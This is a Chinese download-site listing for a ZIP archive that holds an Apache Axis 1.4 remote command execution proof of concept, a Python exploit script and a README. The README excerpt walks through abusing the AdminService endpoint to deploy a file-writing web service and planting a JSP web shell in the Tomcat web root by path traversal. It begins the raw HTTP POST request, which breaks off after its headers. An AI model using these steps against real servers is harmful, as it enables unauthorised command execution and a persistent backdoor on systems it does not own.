【文件属性】:
文件名称:xml执行java源码-Axis-1.4-RCE-Poc:Axis<=1.4远程命令执行(RCE)POC
文件大小:2.25MB
文件格式:ZIP
更新时间:2021-06-06 00:42:00
系统开源
xml
执行java源码
Axis
<=1.4
远程命令执行(RCE)
POC
环境准备
首先下载Axis1.4
本仓库有一个打包好的axis直接解压到tomcat
webapps下即可
,web-inf/web.xml
去掉AdminServlet注释
然后,server-config.wsdd文件开启enableRemoteAdmin
(本地环境可以不管)
本人部署在tomcat8上
利用
第一步:
通过services/AdminService
服务
部署一个webservice
,webservice开启一个写文件服务。这里我们要写入的文件名是../webapps/ROOT/shell.jsp,服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,也就是tomcat默认根目录。
POST
/axis/services/AdminService
HTTP/1.1
Host:
localhost:8080
Connection:
close
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*
【文件预览】:
Axis-1.4-RCE-Poc-master
----Axis1.4_rce_poc.py(3KB)
----README.md(5KB)
----axis.zip(2.27MB)